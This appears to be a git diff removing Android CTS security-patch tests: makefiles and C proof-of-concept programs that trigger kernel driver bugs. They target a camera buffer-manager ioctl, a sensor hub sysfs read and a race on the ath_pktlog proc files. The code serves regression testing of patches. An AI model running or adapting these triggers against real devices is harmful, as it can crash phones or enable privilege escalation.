-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h b/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h
deleted file mode 100644
index 9ceba3a..0000000
--- a/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h
+++ /dev/null
@@ -1,136 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#ifndef __KILROY_H__
-#define __KILROY_H__
-
-typedef int ion_user_handle_t;
-
-enum ion_heap_ids {
- INVALID_HEAP_ID = -1,
- ION_CP_MM_HEAP_ID = 8,
- ION_CP_MFC_HEAP_ID = 12,
- ION_CP_WB_HEAP_ID = 16, /* 8660 only */
- ION_CAMERA_HEAP_ID = 20, /* 8660 only */
- ION_SYSTEM_CONTIG_HEAP_ID = 21,
- ION_ADSP_HEAP_ID = 22,
- ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
- ION_SF_HEAP_ID = 24,
- ION_IOMMU_HEAP_ID = 25,
- ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
- ION_QSECOM_HEAP_ID = 27,
- ION_AUDIO_HEAP_ID = 28,
-
- ION_MM_FIRMWARE_HEAP_ID = 29,
- ION_SYSTEM_HEAP_ID = 30,
-
- ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
-};
-
-/**
- * Flag to use when allocating to indicate that a heap is secure.
- */
-#define ION_FLAG_SECURE (1 << ION_HEAP_ID_RESERVED)
-
-/**
- * Flag for clients to force contiguous memort allocation
- *
- * Use of this flag is carefully monitored!
- */
-#define ION_FLAG_FORCE_CONTIGUOUS (1 << 30)
-
-/**
- * Deprecated! Please use the corresponding ION_FLAG_*
- */
-#define ION_SECURE ION_FLAG_SECURE
-#define ION_FORCE_CONTIGUOUS ION_FLAG_FORCE_CONTIGUOUS
-
-/**
- * Macro should be used with ion_heap_ids defined above.
- */
-#define ION_HEAP(bit) (1 << (bit))
-
-#define ION_IOC_MAGIC 'I'
-
-/**
- * DOC: ION_IOC_ALLOC - allocate memory
- *
- * Takes an ion_allocation_data struct and returns it with the handle field
- * populated with the opaque handle for the allocation.
- */
-#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, struct ion_allocation_data)
-
-/**
- * DOC: ION_IOC_FREE - free memory
- *
- * Takes an ion_handle_data struct and frees the handle.
- */
-#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
-
-/**
- * DOC: ION_IOC_MAP - get a file descriptor to mmap
- *
- * Takes an ion_fd_data struct with the handle field populated with a valid
- * opaque handle. Returns the struct with the fd field set to a file
- * descriptor open in the current address space. This file descriptor
- * can then be used as an argument to mmap.
- */
-#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
-
-/**
- * struct ion_allocation_data - metadata passed from userspace for allocations
- * @len: size of the allocation
- * @align: required alignment of the allocation
- * @heap_id_mask: mask of heap ids to allocate from
- * @flags: flags passed to heap
- * @handle: pointer that will be populated with a cookie to use to
- * refer to this allocation
- *
- * Provided by userspace as an argument to the ioctl
- */
-struct ion_allocation_data {
- size_t len;
- size_t align;
- unsigned int heap_id_mask;
- unsigned int flags;
- ion_user_handle_t handle;
-};
-
-/**
- * struct ion_fd_data - metadata passed to/from userspace for a handle/fd pair
- * @handle: a handle
- * @fd: a file descriptor representing that handle
- *
- * For ION_IOC_SHARE or ION_IOC_MAP userspace populates the handle field with
- * the handle returned from ion alloc, and the kernel returns the file
- * descriptor to share or map in the fd field. For ION_IOC_IMPORT, userspace
- * provides the file descriptor and the kernel returns the handle.
- */
-struct ion_fd_data {
- ion_user_handle_t handle;
- int fd;
-};
-
-/**
- * struct ion_handle_data - a handle passed to/from the kernel
- * @handle: a handle
- */
-struct ion_handle_data {
- ion_user_handle_t handle;
-};
-
-#endif /* __KILROY_H__ */
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/poc.c b/hostsidetests/security/securityPatch/Bug-35139833/poc.c
deleted file mode 100644
index 4746aaf..0000000
--- a/hostsidetests/security/securityPatch/Bug-35139833/poc.c
+++ /dev/null
@@ -1,432 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/wait.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include "local_poc.h"
-
-#define VIDEO_MAX_PLANES 8
-#define MAX_PLANES VIDEO_MAX_PLANES
-#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA
-
-enum msm_cpp_batch_mode_t {
- BATCH_MODE_NONE,
- BATCH_MODE_VIDEO,
- BATCH_MODE_PREVIEW
-};
-
-struct msm_cpp_batch_info_t {
- enum msm_cpp_batch_mode_t batch_mode;
- uint32_t batch_size;
- uint32_t intra_plane_offset[MAX_PLANES];
- uint32_t pick_preview_idx;
- uint32_t cont_idx;
-};
-
-struct msm_cpp_buffer_info_t {
- int32_t fd;
- uint32_t index;
- uint32_t offset;
- uint8_t native_buff;
- uint8_t processed_divert;
- uint32_t identity;
-};
-
-enum msm_cpp_frame_type {
- MSM_CPP_OFFLINE_FRAME,
- MSM_CPP_REALTIME_FRAME,
-};
-
-struct msm_cpp_frame_info_t {
- int32_t frame_id;
- struct timeval timestamp;
- uint32_t inst_id;
- uint32_t identity;
- uint32_t client_id;
- enum msm_cpp_frame_type frame_type;
- uint32_t num_strips;
- uint32_t msg_len;
- uint32_t *cpp_cmd_msg;
- int src_fd;
- int dst_fd;
- struct timeval in_time, out_time;
- void __user *cookie;
- int32_t *status;
- int32_t duplicate_output;
- uint32_t duplicate_identity;
- uint32_t feature_mask;
- uint8_t we_disable;
- struct msm_cpp_buffer_info_t input_buffer_info;
- struct msm_cpp_buffer_info_t output_buffer_info[8];
- struct msm_cpp_buffer_info_t duplicate_buffer_info;
- struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];
- uint32_t reserved;
- uint8_t partial_frame_indicator;
- uint8_t first_payload;
- uint8_t last_payload;
- uint32_t first_stripe_index;
- uint32_t last_stripe_index;
- uint32_t stripe_info_offset;
- uint32_t stripe_info;
- struct msm_cpp_batch_info_t batch_info;
-};
-
-struct msm_camera_v4l2_ioctl_t {
- uint32_t id;
- size_t len;
- int32_t trans_code;
- void __user *ioctl_ptr;
-};
-
-struct msm_cpp_stream_buff_info_t {
- uint32_t identity;
- uint32_t num_buffs;
- struct msm_cpp_buffer_info_t *buffer_info;
-};
-
-#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
-
-#define VIDIOC_MSM_CPP_CFG \
- _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_IOMMU_ATTACH \
- _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \
- _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)
-
-#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \
- _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)
-
-struct v4l2_fract {
- __u32 numerator;
- __u32 denominator;
-};
-
-struct v4l2_outputparm {
- __u32 capability; /* Supported modes */
- __u32 outputmode; /* Current mode */
- struct v4l2_fract timeperframe; /* Time per frame in seconds */
- __u32 extendedmode; /* Driver-specific extensions */
- __u32 writebuffers; /* # of buffers for write */
- __u32 reserved[4];
-};
-
-/*
- * CAPTURE PARAMETERS
- */
-struct v4l2_captureparm {
- __u32 capability; /* Supported modes */
- __u32 capturemode; /* Current mode */
- struct v4l2_fract timeperframe; /* Time per frame in seconds */
- __u32 extendedmode; /* Driver-specific extensions */
- __u32 readbuffers; /* # of buffers for read */
- __u32 reserved[4];
-};
-
-/* Stream type-dependent parameters
- */
-struct v4l2_streamparm {
- __u32 type; /* enum v4l2_buf_type */
- union {
- struct v4l2_captureparm capture;
- struct v4l2_outputparm output;
- __u8 raw_data[200]; /* user-defined */
- } parm;
-};
-
-#define VIDIOC_S_PARM _IOWR('V', 22, struct v4l2_streamparm)
-
-#define VIDIOC_STREAMON _IOW('V', 18, int)
-
-struct v4l2_pix_format {
- __u32 width;
- __u32 height;
- __u32 pixelformat;
- __u32 field; /* enum v4l2_field */
- __u32 bytesperline; /* for padding, zero if unused */
- __u32 sizeimage;
- __u32 colorspace; /* enum v4l2_colorspace */
- __u32 priv; /* private data, depends on pixelformat */
- __u32 flags; /* format flags (V4L2_PIX_FMT_FLAG_*) */
-};
-
-struct v4l2_plane_pix_format {
- __u32 sizeimage;
- __u16 bytesperline;
- __u16 reserved[7];
-} __attribute__((packed));
-
-struct v4l2_pix_format_mplane {
- __u32 width;
- __u32 height;
- __u32 pixelformat;
- __u32 field;
- __u32 colorspace;
-
- struct v4l2_plane_pix_format plane_fmt[VIDEO_MAX_PLANES];
- __u8 num_planes;
- __u8 flags;
- __u8 reserved[10];
-} __attribute__((packed));
-
-struct v4l2_rect {
- __s32 left;
- __s32 top;
- __u32 width;
- __u32 height;
-};
-
-struct v4l2_vbi_format {
- __u32 sampling_rate; /* in 1 Hz */
- __u32 offset;
- __u32 samples_per_line;
- __u32 sample_format; /* V4L2_PIX_FMT_* */
- __s32 start[2];
- __u32 count[2];
- __u32 flags; /* V4L2_VBI_* */
- __u32 reserved[2]; /* must be zero */
-};
-
-struct v4l2_sliced_vbi_format {
- __u16 service_set;
- __u16 service_lines[2][24];
- __u32 io_size;
- __u32 reserved[2]; /* must be zero */
-};
-struct v4l2_sdr_format {
- __u32 pixelformat;
- __u32 buffersize;
- __u8 reserved[24];
-} __attribute__((packed));
-
-struct v4l2_clip {
- struct v4l2_rect c;
- struct v4l2_clip __user *next;
-};
-
-struct v4l2_window {
- struct v4l2_rect w;
- __u32 field; /* enum v4l2_field */
- __u32 chromakey;
- struct v4l2_clip __user *clips;
- __u32 clipcount;
- void __user *bitmap;
- __u8 global_alpha;
-};
-
-struct v4l2_format {
- __u32 type;
- union {
- struct v4l2_pix_format pix; /* V4L2_BUF_TYPE_VIDEO_CAPTURE */
- struct v4l2_pix_format_mplane
- pix_mp; /* V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE */
- struct v4l2_window win; /* V4L2_BUF_TYPE_VIDEO_OVERLAY */
- struct v4l2_vbi_format vbi; /* V4L2_BUF_TYPE_VBI_CAPTURE */
- struct v4l2_sliced_vbi_format sliced; /* V4L2_BUF_TYPE_SLICED_VBI_CAPTURE */
- struct v4l2_sdr_format sdr; /* V4L2_BUF_TYPE_SDR_CAPTURE */
- __u8 raw_data[200]; /* user-defined */
- } fmt;
-};
-
-enum v4l2_buf_type {
- V4L2_BUF_TYPE_VIDEO_CAPTURE = 1,
- V4L2_BUF_TYPE_VIDEO_OUTPUT = 2,
- V4L2_BUF_TYPE_VIDEO_OVERLAY = 3,
- V4L2_BUF_TYPE_VBI_CAPTURE = 4,
- V4L2_BUF_TYPE_VBI_OUTPUT = 5,
- V4L2_BUF_TYPE_SLICED_VBI_CAPTURE = 6,
- V4L2_BUF_TYPE_SLICED_VBI_OUTPUT = 7,
-#if 1
- /* Experimental */
- V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY = 8,
-#endif
- V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE = 9,
- V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE = 10,
- V4L2_BUF_TYPE_SDR_CAPTURE = 11,
- /* Deprecated, do not use */
- V4L2_BUF_TYPE_PRIVATE = 0x80,
-};
-
-/* map to v4l2_format.fmt.raw_data */
-struct msm_v4l2_format_data {
- enum v4l2_buf_type type;
- unsigned int width;
- unsigned int height;
- unsigned int pixelformat; /* FOURCC */
- unsigned char num_planes;
- unsigned int plane_sizes[VIDEO_MAX_PLANES];
-};
-
-#define VIDIOC_S_FMT _IOWR('V', 5, struct v4l2_format)
-
-struct v4l2_timecode {
- __u32 type;
- __u32 flags;
- __u8 frames;
- __u8 seconds;
- __u8 minutes;
- __u8 hours;
- __u8 userbits[4];
-};
-
-struct v4l2_plane {
- __u32 bytesused;
- __u32 length;
- union {
- __u32 mem_offset;
- unsigned long userptr;
- __s32 fd;
- } m;
- __u32 data_offset;
- __u32 reserved[11];
-};
-
-struct v4l2_buffer {
- __u32 index;
- __u32 type;
- __u32 bytesused;
- __u32 flags;
- __u32 field;
- struct timeval timestamp;
- struct v4l2_timecode timecode;
- __u32 sequence;
-
- /* memory location */
- __u32 memory;
- union {
- __u32 offset;
- unsigned long userptr;
- struct v4l2_plane *planes;
- __s32 fd;
- } m;
- __u32 length;
- __u32 reserved2;
- __u32 reserved;
-};
-
-#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer)
-
-/*
- * MEMORY-MAPPING BUFFERS
- */
-struct v4l2_requestbuffers {
- __u32 count;
- __u32 type; /* enum v4l2_buf_type */
- __u32 memory; /* enum v4l2_memory */
- __u32 reserved[2];
-};
-
-#define VIDIOC_REQBUFS _IOWR('V', 8, struct v4l2_requestbuffers)
-
-enum msm_camera_buf_mngr_cmd {
- MSM_CAMERA_BUF_MNGR_CONT_MAP,
- MSM_CAMERA_BUF_MNGR_CONT_UNMAP,
- MSM_CAMERA_BUF_MNGR_CONT_MAX,
-};
-
-struct msm_buf_mngr_main_cont_info {
- uint32_t session_id;
- uint32_t stream_id;
- enum msm_camera_buf_mngr_cmd cmd;
- uint32_t cnt;
- int32_t cont_fd;
-};
-
-#define MSM_CAMERA_MAX_USER_BUFF_CNT 16
-
-struct msm_camera_user_buf_cont_t {
- unsigned int buf_cnt;
- unsigned int buf_idx[MSM_CAMERA_MAX_USER_BUFF_CNT];
-};
-
-enum msm_camera_buf_mngr_buf_type {
- MSM_CAMERA_BUF_MNGR_BUF_PLANAR,
- MSM_CAMERA_BUF_MNGR_BUF_USER,
- MSM_CAMERA_BUF_MNGR_BUF_INVALID,
-};
-
-struct msm_buf_mngr_info {
- uint32_t session_id;
- uint32_t stream_id;
- uint32_t frame_id;
- struct timeval timestamp;
- uint32_t index;
- uint32_t reserved;
- enum msm_camera_buf_mngr_buf_type type;
- struct msm_camera_user_buf_cont_t user_buf;
-};
-
-#define VIDIOC_MSM_BUF_MNGR_CONT_CMD \
- _IOWR('V', BASE_VIDIOC_PRIVATE + 36, struct msm_buf_mngr_main_cont_info)
-#define VIDIOC_MSM_BUF_MNGR_GET_BUF \
- _IOWR('V', BASE_VIDIOC_PRIVATE + 33, struct msm_buf_mngr_info)
-
-struct msm_camera_private_ioctl_arg {
- __u32 id;
- __u32 size;
- __u32 result;
- __u32 reserved;
- __user __u64 ioctl_ptr;
-};
-
-#define VIDIOC_MSM_BUF_MNGR_IOCTL_CMD \
- _IOWR('V', BASE_VIDIOC_PRIVATE + 40, struct msm_camera_private_ioctl_arg)
-
-#define MSM_CAMERA_BUF_MNGR_IOCTL_ID_GET_BUF_BY_IDX 1
-
-int main(void) {
- int fd, ret = 0;
- struct msm_camera_private_ioctl_arg arg;
- struct msm_buf_mngr_info info;
- int cmd;
- char subdev[32] = {0};
-
- for (int i = 0; i < 32; i++) {
- if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
- exit(EXIT_FAILURE);
- }
-
- fd = open(subdev, O_RDWR);
- if (fd == -1) {
- close(fd);
- continue;
- }
-
- memset(&arg, 0, sizeof(arg));
- memset(&info, 0, sizeof(info));
- info.session_id = 2;
- info.stream_id = 0;
- info.index = 0;
- arg.id = MSM_CAMERA_BUF_MNGR_IOCTL_ID_GET_BUF_BY_IDX;
- arg.size = sizeof(struct msm_buf_mngr_info);
- arg.ioctl_ptr = (__u64)&info;
- cmd = VIDIOC_MSM_BUF_MNGR_IOCTL_CMD;
- ret = ioctl(fd, cmd, &arg);
-
- close(fd);
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
deleted file mode 100644
index 9213fa3..0000000
--- a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35468048
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/poc.c b/hostsidetests/security/securityPatch/Bug-35468048/poc.c
deleted file mode 100644
index 850c7c9..0000000
--- a/hostsidetests/security/securityPatch/Bug-35468048/poc.c
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <string.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <sched.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) \
- printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-static int set_affinity(int num) {
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- if (ret == -1) {
- ERR("[-] set affinity failed");
- }
- return ret;
-}
-
-#define TARGET "/sys/devices/virtual/htc_sensorhub/sensor_hub/enable"
-#define DISABLE "/sys/module/CwMcuSensor/parameters/DEBUG_DISABLE"
-int main(int argc, char *argv[]) {
- int i, ret, tmpfd;
- char buf[PAGE_SIZE] = {0};
-
- /* bind_cpu */
- set_affinity(0);
-
- /* disable debug */
- tmpfd = open(DISABLE, O_RDWR);
- if (tmpfd == -1) {
- ERR("[-] open %s failed", TARGET);
- return -1;
- }
-
- write(tmpfd, "1", 1);
- close(tmpfd);
-
- tmpfd = open(TARGET, O_RDWR);
-
- if (tmpfd == -1)
- ERR("[-] open %s failed", TARGET);
- else
- LOG("[+] open %s OK", TARGET);
-
- /* read */
- ret = read(tmpfd, buf, PAGE_SIZE);
- if (ret == -1)
- ERR("[-] read %s failed", TARGET);
- else {
- LOG("[+] read succeeded: %d bytes", ret);
- LOG("[+] content: %s", buf);
- }
-
- close(tmpfd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/Android.mk b/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
deleted file mode 100644
index 1f14c2c73..0000000
--- a/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35470735
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/poc.c b/hostsidetests/security/securityPatch/Bug-35470735/poc.c
deleted file mode 100644
index a6a2da9..0000000
--- a/hostsidetests/security/securityPatch/Bug-35470735/poc.c
+++ /dev/null
@@ -1,132 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <string.h>
-#include <sys/types.h>
-
-#include <asm/ioctl.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-//#define DEBUG
-#ifdef DEBUG
-#define LOG(fmt, ...) \
- do { \
- printf("%s:%d: " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__); \
- } while (0)
-#else
-#define LOG(fmt, ...)
-#endif
-
-int open_file(char* filename) {
- int fd;
-
- fd = open(filename, O_RDWR);
- if (fd < 0) {
- LOG("open %s fail %s\n", filename, strerror(errno));
- exit(1);
- }
- LOG("[%d] open %s succ return fd %d\n", gettid(), filename, fd);
-
- return fd;
-}
-
-int test_write(int fd, char* buf, int size) {
- int ret;
-
- ret = write(fd, buf, size);
- if (fd < 0) {
- LOG("write %d fail %s\n", fd, strerror(errno));
- } else
- LOG("[%d] write %s succ\n", gettid(), buf);
-
- return ret;
-}
-
-void prepare(void) { // enable the log
- int enable_fd;
- char* str = "1";
- enable_fd = open_file("/proc/sys/ath_pktlog/cld/enable");
- test_write(enable_fd, str, strlen(str));
- close(enable_fd);
-}
-
-#define SIZE 16
-void Thread1(void) { // thread to read the log
- int cld_fd, ret;
- char buf[SIZE] = {0};
- cld_fd = open_file("/proc/ath_pktlog/cld");
- while (1) {
- ret = read(cld_fd, buf, SIZE);
- if (ret > 0) LOG("[%d] read succ %d\n", gettid(), ret);
- sleep(0.5);
- }
- close(cld_fd);
-}
-
-void Thread2(void) { // thread to free pl_info->buf
- int size_fd;
- char* size1 = "1024";
- char* size2 = "2048";
- int index = 0;
- char buf[8] = {0};
- size_fd = open_file("/proc/sys/ath_pktlog/cld/size");
- while (1) {
- if (index++ % 2)
- test_write(size_fd, size1, strlen(size1));
- else
- test_write(size_fd, size2, strlen(size2));
- sleep(0.5);
- }
- close(size_fd);
-}
-
-#define TC 8
-void trigger() {
- int i, ret;
- pthread_t tid1s[TC];
- pthread_t tid2s[TC];
-
- LOG("Try to trigger..\n");
-
- for (i = 0; i < TC; i++) {
- ret = pthread_create((pthread_t*)&tid1s[i], NULL, (void*)Thread1, NULL);
- sleep(1);
- ret = pthread_create((pthread_t*)&tid2s[i], NULL, (void*)Thread2, NULL);
- }
-
- for (i = 0; i < TC; i++) {
- pthread_join(tid1s[i], NULL);
- pthread_join(tid2s[i], NULL);
- }
-}
-
-int main(int argc, char* argv[]) {
- for (int i = 0; i < 1000; i++)
- {
- prepare();
- trigger();
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
deleted file mode 100644
index efe00f2..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35644510
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644510/poc.c b/hostsidetests/security/securityPatch/Bug-35644510/poc.c
deleted file mode 100644
index 8dfd4b5..0000000
--- a/hostsidetests/security/securityPatch/Bug-35644510/poc.c
+++ /dev/null
@@ -1,359 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#include <sys/klog.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
